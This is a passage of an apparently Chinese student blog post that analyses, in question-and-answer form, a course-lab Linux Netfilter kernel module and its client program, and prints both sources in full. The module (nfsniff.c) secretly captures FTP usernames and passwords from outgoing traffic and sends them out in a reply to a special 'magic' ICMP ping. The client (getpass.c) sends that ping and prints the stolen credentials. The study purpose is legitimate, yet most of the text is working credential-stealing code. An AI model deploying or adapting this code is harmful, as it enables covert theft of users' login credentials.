if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
    return;
GFP_KERNEL,內核內存的正常分配,可能睡眠;
  • 使用 GFP_KENRL 意味着 kmalloc 可以使當前進程在少內存的狀況下睡眠來等待一頁;
  • 一個使用 GFP_KERNEL 來分配內存的函數必須是可重入的,而且不能在原子上下文中運行。噹噹前進程睡眠,內核採起正確的動做來定位一些空閒內存,或者經過刷新緩存到磁盤或者交換出去一個用戶進程的內存;

具體內容請參考:內核中的kmalloc函數詳解

5 這個'\0'是佔幾個字節?

*(username + len) = '\0';
若 *username 爲 char * 類型,那麼 username[index] = '\0',至關於把第 index 個字節置爲 0x00,參考以下測試代碼:
 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <string.h>
 4 
 5 int main() {
 6     char *data = (char *)malloc(sizeof(char)*20);
 7     memset(data, 0x31, 20);
 8     *(data + 10) = '\0';
 9     data[11] = '\0';
10     for (int i = 0; i < 20; i++)
11         printf("(%d)0x%02x ", i, data[i]);
12     printf("\ndata: %s\n", data);
13     free(data);
14     return 0;
15 }
16 
17 // 輸出
18 (0)0x31 (1)0x31 (2)0x31 (3)0x31 (4)0x31 (5)0x31 (6)0x31 (7)0x31 (8)0x31 (9)0x31 (10)0x00 (11)0x00 (12)0x31 (13)0x31 (14)0x31 (15)0x31 (16)0x31 (17)0x31 (18)0x31 (19)0x31
19 data: 1111111111
View Code

6 如何理解下面的代碼?(位於demo:nfsniff.c)

 1 skb->pkt_type = PACKET_OUTGOING; // ?
 2 switch (skb->dev->type) {
 3     case ARPHRD_PPP: break;
 4     case ARPHRD_LOOPBACK:
 5     case ARPHRD_ETHER: {
 6         unsigned char temp_hwaddr[ETH_ALEN];
 7         struct ethhdr *eth = NULL;
 8         // Move the data pointer to point to the link layer header
 9         eth = (struct ethhdr *)eth_hdr(skb);
10         skb->data = (unsigned char*)eth;
11         skb->len += ETH_HLEN; // sizeof(skb->mac.ethernet);
12         memcpy(temp_hwaddr, eth->h_dest, ETH_ALEN);
13         memcpy(eth->h_dest, eth->h_source, ETH_ALEN);
14         memcpy(eth->h_source, temp_hwaddr, ETH_ALEN);
15         break;
16     }
17 }
View Code

6.1 skb->pkt_type = PACKET_OUTGOING; 是什麼意思?爲什麼進行這樣的設置?skb->dev->type 是什麼?

sll_pkttype contains the packet type. Valid types are:
    1) PACKET_HOST for a packet addressed to the local host;
    2) PACKET_BROADCAST for a physical-layer broadcast packet;
    3) PACKET_MULTICAST for a packet sent to a physical-layer multicast address;
    4) PACKET_OTHERHOST for a packet to some other host that has been caught by a device driver in promiscuous mode;
    5) PACKET_OUTGOING for a packet originating from the local host that is looped back to a packet socket;
These types make sense only for receiving.
PACKET_OUTGOING,用於從本地主機發出的包,該包被循環回包套接字;如何理解?爲什麼要進行這樣的設置?
個人理解:
1)由於 watch_in() 鉤子註冊到 PRE_ROUTING 中,即路由前,因此 watch_in() 接收到的數據包還未通過路由判決。這時候可能來的數據包有幾種類型,如上面所提到的:PACKET_HOST(To us),PACKET_BROADCAST(To all),PACKET_MULTICAST(To group),PACKET_OTHERHOST(To someone else),PACKET_OUTGOING(Outgoing of any type),本機要針對不一樣的包類進行處理,好比:PACKET_OTHERHOST,表示不是發給本機的數據包,那本機就會將其轉發出去;
2)由於 watch_in() 在收到特定的ICMP包後,要將數據往回發送,因此將 skb->pkt_type 改成 PACKET_OUTGOING,表示從本地主機發出的包;
3) 關於「該包被循環回包套接字」這句話,我也不知道如何理解;是與下面的 ARPHRD_LOOPBACK 所對應嗎?
數據包的接口類型 skb->dev->type:
  • ARPHRD_PPP 點對點(例如撥號)
  • ARPHRD_LOOPBACK 環回設備
  • ARPHRD_ETHER 以太網
關於 ARPHRD_LOOPBACK 的理解,參考自: 2.7 環回接口
1)傳給環回地址(通常是127.0.0.1)的任何數據均做爲IP輸入。
2)傳給廣播地址或多播地址的數據報復制一份傳給環回接口,而後送到以太網上。這是由於廣播傳送和多播傳送的定義(第12章)包含主機自己。
3)任何傳給該主機IP地址的數據均送到環回接口。
看上去用傳輸層和IP層的方法來處理環回數據彷佛效率不高,但它簡化了設計,由於 環回接口能夠被看做是網絡層下面的另外一個鏈路層。網絡層把一份數據報傳送給環回接口,就像傳給其餘鏈路層同樣,只不過環回接口把它返回到IP的輸入隊列中。
在圖2-4中,另外一個隱含的意思是 送給主機自己IP地址的IP數據報通常不出如今相應的網絡上。例如,在一個以太網上,分組通常不被傳出去而後讀回來。某些BSD以太網的設備驅動程序的註釋說明,許多以太網接口卡不能讀回它們本身發送出去的數據。因爲一臺主機必須處理髮送給本身的IP數據報,所以圖2-4所示的過程是最爲簡單的處理辦法。
4.4BSD系統定義了變量useloopback,並初始化爲1。可是,若是這個變量置爲0,以太網驅動程序就會把本地分組送到網絡,而不是送到環回接口上。它也許不能工做,這取決於所使用的以太網接口卡和設備驅動程序。
6.2 將skb->data 指針指向 數據鏈路層,MAC首部;
eth = (struct ethhdr *)eth_hdr(skb);  skb->data = (unsigned char*)eth;
在:<linux/if_ether.h>中:
static inline struct ethhdr *eth_hdr(const struct sk_buff *skb)
{
    return (struct ethhdr *)skb_mac_header(skb);
}

在:<linux/skbuff.h>中:

static inline unsigned char *skb_mac_header(const struct sk_buff *skb)
{
    return skb->head + skb->mac_header;
}

skb->len += ETH_HLEN; // sizeof(skb->mac.ethernet);
ETH_HLEN 在 <uapi/linux/if_ether.h> 中定義,值爲14,表示以太網幀首部長度爲14B:6B(dest_mac) + 6B(src_mac) + 2B(type or length);
skb->len,當前協議數據包的長度,包括data中的緩衝數據和分片中的數據;
6.3 爲何要讓 skb->len += ETH_HLEN?從接收的數據包中就包含了 MAC層首部了嗎,長度也應該夠啊;
由於在watch_in中捕獲的sk_buff是在第3層(網絡層 / IP層),此時 skb->len 只涉及了第3層的數據包的長度;而在下面調用  dev_queue_xmit(skb) 來發送數據包,是位於第2層(數據鏈路層 / MAC層),要想發送成功,還必須包含以太網幀的首部(dest_mac_addr + source_mac_addr + type_or_length = 共14B),因此 skb->len 須要加上 ETH_HLEN(14B)
7 給主人反饋數據時,icmp reply 的數據中爲何包含的是下面的數據?特別是那個 target_ip,target_port 怎麼不包含呢?
/* Now copy the IP address, then Username, then password into packet */
cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
memcpy(cp_data, &target_ip, 4);
if (username)
    memcpy(cp_data + 4, username, 16);
if (password)
    memcpy(cp_data + 20, password, 16);

包含 target_ip, username, password,僅僅是hacker的要求,也能夠包含其餘數據;至於 target_port 爲何不包含,由於老師的demo中是對FTP操做,因此target_port都是21(創建TCP鏈接);而我本身寫的代碼是從HTTP中提取數據的,因此target_port是80,歸根到底仍是取決於hacer自己的目的。

8 memcpy 第3個參數都是 16,是爲了知足某種規則嗎,好比:字節對齊;可是根據上面獲取 USER 的代碼顯示,username的長度可能小於16;那這時候使用 memcpy 不就非法訪問了嗎?(memcpy() 函數有沒有考慮到這種狀況的發生?)

第3個參數是16只是對應了hacker端的getpass.c代碼,getpass.c 代碼中發送的 ICMP ECHO 數據包的數據部分就是:4 + 16 + 16,而在回送回答報文中會返回如出一轍的數據部分(即:4 + 16 + 16);
hacker 默認了username 和 password 不會超過16B,因此設置爲16;若其可能超過16B,固然也能夠設置爲其餘值,但最好是2的倍數,方便對齊之類的;username的長度確實可能小於16,此時執行 memcpy(cp_data+4, username, 16);並不會出錯;我已經測試過了;對於 username 中不夠拷貝的部分(16 - strlen(username)),cp_data中保留原值;

測試代碼:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <string.h>
 4 
 5 int main() {
 6     int i = 0;
 7     const char *username = "lichaoxi";
 8     char *cp_data = (char *)malloc(sizeof(char)*20);
 9     memset(cp_data, 0x00, 20);
10     memcpy(cp_data, username, 16);
11     for (; i < 20; i++)
12         printf("(%d)0x%02x ", i, cp_data[i]);
13     printf("\n");
14     return 0;
15 }
16 
17 // 輸出
18 (0)0x6c (1)0x69 (2)0x63 (3)0x68 (4)0x61 (5)0x6f (6)0x78 (7)0x69 (8)0x00 (9)0x28 (10)0x25 (11)0x64 (12)0x29 (13)0x30 (14)0x78 (15)0x25 (16)0x00 (17)0x00 (18)0x00 (19)0x00
View Code

9 如何把這些數據傳遞給主人呢?(內部是如何實現的?)

宏觀上的過程以下:

1)watch_in() 捕獲到一個數據包,檢測是否爲特定的ICMP_ECHO數據包(icmp->code = 0x77),若不是的話直接返回 NF_ACCEPT 放行;
2)若爲特定ICMP_ECHO數據包,則將數據包的 源IP 和 目的IP 互換;(由於咱們要把包發回去)
3)自行封裝 數據鏈路層首部:

  • 設置 skb->pkt_type = PACKET_OUTGOING;
  • 對於 skb->dev->type 爲 ARPHRD_LOOPBACK,ARPHRD_ETHER 的包,交換 源MAC 和 目的MAC地址;而且將 skb->data 指向MAC層的首部,skb->len += ETH_HLEN;

4)將hacker端須要的數據(target_ip,username,password)填充到 icmp echo 回送回答報文的數據部分;
5)調用 dev_queue_xmit(skb) 方法來發送該數據包;(該數據包,咱們已經構造到了第2層(數據鏈路層)的級別)
6)返回 NF_STOLEN,告訴協議棧不用關心原始的包,原始包的處理已由 watch_in 這個 hook func 來接手了;
10 dev_queue_xmit(skb);的意思是什麼?(位於demo:nfsniff.c)

1)dev_queue_xmit() 函數接受一個指向 sk_buff 結構的指針,由於它是惟一的參數,並在一個」很好的「失敗時返回一個負的errno代碼。」好「失敗是什麼意思?好吧,若是你給dev_queue_xmit() 一個構造錯誤的套接字緩衝區,那麼你將獲得一個不那麼好的失敗。一個完成內核故障和內核堆棧轉儲信息。
2)看看故障如何分紅兩組?最後,watch_in() 返回 NF_STOLEN 告訴Netfilter忘記它曾經看到過這個數據包(Jedi Mind Trick的位)。若是你調用了 dev_queue_xmit(),請不要返回 NF_DROP!若是你這樣作,你將很快獲得一個討厭的內核錯誤。這是由於dev_queue_xmit() 將釋放傳入的套接字緩衝區,Netfilter 將嘗試對 NF_DROPped 數據包執行相同操做。
1)dev_queue_xmit 是與網絡設備無關層調用的函數,調用對象調用該函數以後,函數會判斷skb中的dev字段,根據這個字段指示的設備調用該設備的發送函數hard_start_xmit來對skb進行轉發;
2)上層在須要發送skb的時候會選擇調用dev_queue_xmit,那麼至於下層是怎麼傳遞該skb的,上層根本就不用關心,這就是所謂的各層的獨立性原理。因此對skb具體的發送處理過程,能夠由下層網絡接口的hard_queue_xmit來處理。好比說上層須要發送一個廣播幀,那麼它就將skb->pkt_type賦值爲PACKET_BROADCAST,而後調用dev_queue_xmit將其發送出去以後就無論下層是否將這個廣播幀真的放到網絡中進行廣播。
1)linux內核太構造數據包的第二種方式就是直接調用dev_queue_xmit函數,將構造完畢的數據包直接發送到網卡驅動。從NF框架來看,該函數的調用是在 POSTROUTING點以後了,也能夠理解爲直接經過調用二層的發送函數,將三層構造的數據包發送出去。該函數實際上會調用 skb->dev->hard_start_xmit,即對應網卡的驅動函數,將數據包直接發送的出去。
2)很顯然,這個工做在二層的函數,發送數據包(數據包在二層的時候準確叫法應該是幀,咱們這裏是在三層直接調用的,權且還稱做數據包)的方式是不須要再查路由了。
3) 可是,二層發送的時候是須要根據目的MAC來進行的。在第一種方法構造的數據包中,僅僅交換了IP地址,而沒有對MAC作任何修改。這樣直接調用 dev_queue_xmit是會產生問題的,而且該函數發送的內容應該是從二層頭部開始,到數據包的結束。所以,若是三層構造的數據包,想調用該函數直接發送數據包的話,則須要修改數據包的源和目的MAC,並將skb->data指針指向MAC頭部,以及skb->len的值也要加上頭部的長度方法。(由於:skb->data 指向的是要發送的分組數據的起始位置)
4)構造的數據包發送完畢以後,對於hook函數的返回值問題。
  • a)第一種發送數據包的實現,對於send_reset函數的實現中,因爲單獨申請了nskb的內存,並構造的新的數據包。新數據包接着走NF的流程了。而對於原始的skb,就經過模塊的返回值return NF_DROP作出了處理。
  • b)第二種發送數據包的實現,如果基於已有數據包的基礎上從新構造的數據包,那麼實際上原始數據包的內容已經不復存在,並且調用完畢 dev_queue_xmit已將同一塊緩衝區,只是填充了新數據的數據包發送出去,所以,這裏已經沒有原始數據包的存在了,須要返回 NF_STOLEN,告訴協議棧不用關心原始的包便可。不然,如果新數據包是單獨申請的內存,那麼對於原數據包還應該是返回NF_DROP。

11 init_module() 中 pre_hook,post_hook 的各個參數的意義;

NF_IP_PRI_FIRST 在 <linux/netfilter_ipv4.h> 中定義;
NF_INET_PRE_ROUTING 在 <uapi/linux/netfilter.h> 中定義;

 1 int init_module() {
 2    pre_hook.hook     = watch_in;               // hook function
 3    pre_hook.pf       = PF_INET;                // 協議簇 PF_INET
 4    pre_hook.priority = NF_IP_PRI_FIRST;        // hook 優先級,鉤子按升序優先級排序,NF_IP_PRI_FIRST 表示最早處理
 5    pre_hook.hooknum  = NF_INET_PRE_ROUTING;    // 所做用的hook點,路由前的Hook點
 6    
 7    post_hook.hook     = watch_out;
 8    post_hook.pf       = PF_INET;
 9    post_hook.priority = NF_IP_PRI_FIRST;
10    post_hook.hooknum  = NF_INET_POST_ROUTING;  // 路由後的Hook點
11    
12    nf_register_net_hook(&init_net, &pre_hook);
13    nf_register_net_hook(&init_net, &post_hook);
14    
15    return 0;
16 }
View Code

12 爲何計算校驗和長度是42???(位於demo:getpass.c)

icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);

注意:老師給的代碼 getpass.c 也不必定就是正確的;

TCP/IP 協議族 第4版 9.2.3 查詢,上面提到: 可選數據,由請求報文發送,被回答報文重複;
結合 nfsniff.c 和 getpass.c 的代碼,發現受害者主機中返回的 ICMP 回送報文會包含下面的數據 :target_ip + username + password,對應的字節數是:4B + 16B + 16B;
爲了讓回送回答報文中包含這些數據,回送請求報文的數據部分就須要包含相同的內容(字節數):tartget_ip(4B) + username(16B) + password(16B) = 36B;計算校驗和的時候再加上 ICMP_ECHO頭部(8B),結果爲44B;

回到目錄

六 參考資料

雖然在文章中我已經在相關位置貼了很多參考連接,最後仍是彙總起來貼一遍吧(可能有部分遺漏)。

七 老師提供的代碼

爲了不小夥伴們在看我上面的問題時缺失上下文環境,我特地把老師提供的源代碼貼出來,我就是在這個代碼的基礎上進行DIY的。 特別注意一下:老師實驗用的Linux 內核是2.x版本的。
nfsniff.c
  1 #include <linux/module.h>
  2 #include <linux/kernel.h>
  3 #include <linux/skbuff.h>
  4 #include <linux/in.h>
  5 #include <linux/ip.h>
  6 #include <linux/tcp.h>
  7 #include <linux/icmp.h>
  8 #include <linux/netdevice.h>
  9 #include <linux/netfilter.h>
 10 #include <linux/netfilter_ipv4.h>
 11 #include <linux/if_arp.h>
 12 #include <linux/if_ether.h>
 13 #include <linux/if_packet.h>
 14 
 15 #define MAGIC_CODE   0x5B
 16 #define REPLY_SIZE   36
 17 
 18 MODULE_LICENSE("GPL");
 19 
 20 #define ICMP_PAYLOAD_SIZE  (htons(ip_hdr(sb)->tot_len) \
 21                    - sizeof(struct iphdr) \
 22                    - sizeof(struct icmphdr))
 23 
 24 /* THESE values are used to keep the USERname and PASSword until
 25  * they are queried. Only one USER/PASS pair will be held at one
 26  * time and will be cleared once queried. */
 27 static char *username = NULL;
 28 static char *password = NULL;
 29 static int  have_pair = 0;     /* Marks if we already have a pair */
 30 
 31 /* Tracking information. Only log USER and PASS commands that go to the
 32  * same IP address and TCP port. */
 33 static unsigned int target_ip = 0;
 34 static unsigned short target_port = 0;
 35 
 36 /* Used to describe our Netfilter hooks */
 37 struct nf_hook_ops  pre_hook;           /* Incoming */
 38 struct nf_hook_ops  post_hook;           /* Outgoing */
 39 
 40 
 41 /* Function that looks at an sk_buff that is known to be an FTP packet.
 42  * Looks for the USER and PASS fields and makes sure they both come from
 43  * the one host as indicated in the target_xxx fields */
 44 static void check_ftp(struct sk_buff *skb) {
 45    struct tcphdr *tcp;
 46    char *data;
 47    int len = 0;
 48    int i = 0;
 49    
 50    tcp = (struct tcphdr *)(skb->data + (ip_hdr(skb)->ihl * 4));
 51    data = (char *)((int)tcp + (int)(tcp->doff * 4));
 52 
 53    /* Now, if we have a username already, then we have a target_ip.
 54     * Make sure that this packet is destined for the same host. */
 55    if (username)
 56      if (ip_hdr(skb)->daddr != target_ip || tcp->source != target_port)
 57        return;
 58    
 59    /* Now try to see if this is a USER or PASS packet */
 60    if (strncmp(data, "USER ", 5) == 0) {          /* Username */
 61       data += 5;
 62       
 63       if (username)
 64         return;
 65       
 66       // 爲啥 i < 15,由於密碼長度不會大於15嗎?
 67       while (*(data + i) != '\r' && *(data + i) != '\n' 
 68              && *(data + i) != '\0' && i < 15) {
 69            len++;
 70            i++;
 71       }
 72       
 73       if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
 74             return;
 75       memset(username, 0x00, len + 2);
 76       memcpy(username, data, len);
 77       // '\0'是2個byte?
 78       *(username + len) = '\0';           /* NULL terminate */
 79    } else if (strncmp(data, "PASS ", 5) == 0) {   /* Password */
 80       data += 5;
 81 
 82       /* If a username hasn't been logged yet then don't try logging
 83        * a password */
 84       if (username == NULL) return;
 85       if (password)  return;
 86       
 87       while (*(data + i) != '\r' && *(data + i) != '\n'
 88                && *(data + i) != '\0' && i < 15) {
 89            len++;
 90            i++;
 91       }
 92 
 93       if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
 94            return;
 95       memset(password, 0x00, len + 2);
 96       memcpy(password, data, len);
 97       *(password + len) = '\0';           /* NULL terminate */
 98    } else if (strncmp(data, "QUIT", 4) == 0) {
 99       /* Quit command received. If we have a username but no password,
100        * clear the username and reset everything */
101       if (have_pair)  return;
102       if (username && !password) {
103            kfree(username);
104            username = NULL;
105            target_port = target_ip = 0;
106            have_pair = 0;
107            return;
108       }
109    } else {
110       return;
111    }
112 
113    if (!target_ip)
114      target_ip = ip_hdr(skb)->daddr;
115    if (!target_port)
116      target_port = tcp->source;
117 
118    if (username && password)
119      have_pair++;               /* Have a pair. Ignore others until
120                     * this pair has been read. */
121    if (have_pair)
122      printk("Have password pair!  U: %s   P: %s\n", username, password);
123 }
124 
125 /* Function called as the POST_ROUTING (last) hook. It will check for
126  * FTP traffic then search that traffic for USER and PASS commands. */
127 static unsigned int watch_out(unsigned int hooknum,
128                   struct sk_buff *skb,
129                   const struct net_device *in,
130                   const struct net_device *out,
131                   int (*okfn)(struct sk_buff *)) {
132    struct sk_buff *sb = skb;
133    struct tcphdr *tcp;
134    
135    /* Make sure this is a TCP packet first */
136    if (ip_hdr(sb)->protocol != IPPROTO_TCP)
137      return NF_ACCEPT;               /* Nope, not TCP */
138    
139    tcp = (struct tcphdr *)((sb->data) + (ip_hdr(sb)->ihl * 4));
140    
141    /* Now check to see if it's an FTP packet */
142    if (tcp->dest != htons(21))
143      return NF_ACCEPT;               /* Nope, not FTP */
144    
145    /* Parse the FTP packet for relevant information if we don't already
146     * have a username and password pair. */
147    if (!have_pair)
148      check_ftp(sb);
149    
150    /* We are finished with the packet, let it go on its way */
151    return NF_ACCEPT;
152 }
153 
154 
155 /* Procedure that watches incoming ICMP traffic for the "Magic" packet.
156  * When that is received, we tweak the skb structure to send a reply
157  * back to the requesting host and tell Netfilter that we stole the
158  * packet. */
159 static unsigned int watch_in(unsigned int hooknum,
160                  struct sk_buff *skb,
161                  const struct net_device *in,
162                  const struct net_device *out,
163                  int (*okfn)(struct sk_buff *)) {
164    struct sk_buff *sb = skb;
165    struct icmphdr *icmp;
166    char *cp_data;               /* Where we copy data to in reply */
167    unsigned int   taddr;           /* Temporary IP holder */
168 
169    /* Do we even have a username/password pair to report yet? */
170    if (!have_pair)
171      return NF_ACCEPT;
172      
173    /* Is this an ICMP packet? */
174    if (ip_hdr(sb)->protocol != IPPROTO_ICMP)
175      return NF_ACCEPT;
176    
177    icmp = (struct icmphdr *)(sb->data + ip_hdr(sb)->ihl * 4);
178 
179    /* Is it the MAGIC packet? */
180    if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
181      || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
182       return NF_ACCEPT;
183    }
184    
185    /* Okay, matches our checks for "Magicness", now we fiddle with
186     * the sk_buff to insert the IP address, and username/password pair,
187     * swap IP source and destination addresses and ethernet addresses
188     * if necessary and then transmit the packet from here and tell
189     * Netfilter we stole it. Phew... */
190    taddr = ip_hdr(sb)->saddr;
191    ip_hdr(sb)->saddr = ip_hdr(sb)->daddr;
192    ip_hdr(sb)->daddr = taddr;
193 
194    sb->pkt_type = PACKET_OUTGOING;
195 
196    switch (sb->dev->type) {
197     case ARPHRD_PPP:               /* Ntcho iddling needs doing */
198        break;
199     case ARPHRD_LOOPBACK:
200     case ARPHRD_ETHER: {
201          unsigned char t_hwaddr[ETH_ALEN];
202          
203          /* Move the data pointer to point to the link layer header */
204          sb->data = (unsigned char *)eth_hdr(sb);
205          sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
206          memcpy(t_hwaddr, (eth_hdr(sb)->h_dest), ETH_ALEN);
207          memcpy((eth_hdr(sb)->h_dest), (eth_hdr(sb)->h_source), ETH_ALEN);
208          memcpy((eth_hdr(sb)->h_source), t_hwaddr, ETH_ALEN);
209           break;
210        }
211    };
212    
213    /* Now copy the IP address, then Username, then password into packet */
214    cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
215    memcpy(cp_data, &target_ip, 4);
216    if (username)
217      memcpy(cp_data + 4, username, 16);
218    if (password)
219      memcpy(cp_data + 20, password, 16);
220    
221    /* This is where things will die if they are going to.
222     * Fingers crossed... */
223    dev_queue_xmit(sb);
224 
225    /* Now free the saved username and password and reset have_pair */
226    kfree(username);
227    kfree(password);
228    username = password = NULL;
229    have_pair = 0;
230    
231    target_port = target_ip = 0;
232 
233 //   printk("Password retrieved\n");
234    
235    return NF_STOLEN;
236 }
237 
238 int init_module() {
239    pre_hook.hook     = watch_in;
240    pre_hook.pf       = PF_INET;
241    pre_hook.priority = NF_IP_PRI_FIRST;
242    pre_hook.hooknum  = NF_INET_PRE_ROUTING;
243    
244    post_hook.hook     = watch_out;
245    post_hook.pf       = PF_INET;
246    post_hook.priority = NF_IP_PRI_FIRST;
247    post_hook.hooknum  = NF_INET_POST_ROUTING;
248    
249    nf_register_hook(&pre_hook);
250    nf_register_hook(&post_hook);
251    
252    return 0;
253 }
254 
255 void cleanup_module() {
256    nf_unregister_hook(&post_hook);
257    nf_unregister_hook(&pre_hook);
258    
259    if (password)
260      kfree(password);
261    if (username)
262      kfree(username);
263 }
View Code

getpass.c

  1 #include <sys/types.h>
  2 #include <stdio.h>
  3 #include <stdlib.h>
  4 #include <unistd.h>
  5 #include <string.h>
  6 #include <errno.h>
  7 #include <sys/socket.h>
  8 #include <netdb.h>
  9 #include <arpa/inet.h>
 10 
 11 #ifndef __USE_BSD
 12 # define __USE_BSD               /* We want the proper headers */
 13 #endif
 14 # include <netinet/ip.h>
 15 #include <netinet/ip_icmp.h>
 16 
 17 /* Function prototypes */
 18 static unsigned short checksum(int numwords, unsigned short *buff);
 19 
 20 int main(int argc, char *argv[]) {
 21     unsigned char dgram[256];           /* Plenty for a PING datagram */
 22     unsigned char recvbuff[256];
 23     struct ip *iphead = (struct ip *)dgram;
 24     struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
 25     struct sockaddr_in src;
 26     struct sockaddr_in addr;
 27     struct in_addr my_addr;
 28     struct in_addr serv_addr;
 29     socklen_t src_addr_size = sizeof(struct sockaddr_in);
 30     int icmp_sock = 0;
 31     int one = 1;
 32     int *ptr_one = &one;
 33     
 34     if (argc < 3) {
 35         fprintf(stderr, "Usage:  %s remoteIP myIP\n", argv[0]);
 36         exit(1);
 37     }
 38 
 39     /* Get a socket */
 40     if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
 41         fprintf(stderr, "Couldn't open raw socket! %s\n", strerror(errno));
 42         exit(1);
 43     }
 44 
 45     /* set the HDR_INCL option on the socket */
 46     if (setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one)) < 0) {
 47        close(icmp_sock);
 48        fprintf(stderr, "Couldn't set HDRINCL option! %s\n", strerror(errno));
 49        exit(1);
 50    }
 51 
 52    addr.sin_family = AF_INET;
 53    addr.sin_addr.s_addr = inet_addr(argv[1]);
 54    my_addr.s_addr = inet_addr(argv[2]);
 55 
 56    memset(dgram, 0x00, 256);
 57    memset(recvbuff, 0x00, 256);
 58 
 59     /* Fill in the IP fields first */
 60    iphead->ip_hl  = 5;
 61    iphead->ip_v   = 4;
 62    iphead->ip_tos = 0;
 63    iphead->ip_len = 84;
 64    iphead->ip_id  = (unsigned short)rand();
 65    iphead->ip_off = 0;
 66    iphead->ip_ttl = 128;
 67    iphead->ip_p   = IPPROTO_ICMP;
 68    iphead->ip_sum = 0;
 69    iphead->ip_src = my_addr;
 70    iphead->ip_dst = addr.sin_addr;
 71 
 72     /* Now fill in the ICMP fields */
 73    icmphead->icmp_type = ICMP_ECHO;
 74    icmphead->icmp_code = 0x5B;
 75    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
 76 
 77     /* Finally, send the packet */
 78    fprintf(stdout, "Sending request...\n");
 79    if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
 80        fprintf(stderr, "\nFailed sending request! %s\n", strerror(errno));
 81        return 0;
 82    }
 83 
 84    fprintf(stdout, "Waiting for reply...\n");
 85    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src, &src_addr_size) < 0) {
 86        fprintf(stdout, "Failed getting reply packet! %s\n", strerror(errno));
 87        close(icmp_sock);
 88        exit(1);
 89    }
 90 
 91    iphead = (struct ip *)recvbuff;
 92    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
 93    memcpy(&serv_addr, ((char *)icmphead + 8), sizeof (struct in_addr));
 94 
 95    fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
 96    fprintf(stdout, "Username:    %s\n", (char *)((char *)icmphead + 12));
 97    fprintf(stdout, "Password:    %s\n", (char *)((char *)icmphead + 28));
 98 
 99    close(icmp_sock);
100    return 0;
101 }
102 
103 /* Checksum-generation function. It appears that PING'ed machines don't
104  * reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
105  * Fair enough I guess. */
106 static unsigned short checksum(int numwords, unsigned short *buff) {
107  unsigned long sum;
108 
109  for(sum = 0;numwords > 0;numwords--)
110      sum += *buff++;   /* add next word, then increment pointer */
111 
112  sum = (sum >> 16) + (sum & 0xFFFF);
113  sum += (sum >> 16);
114  return ~sum;
115 }
View Code
轉載請說明出處!have a good time 😄
相關文章
相關標籤/搜索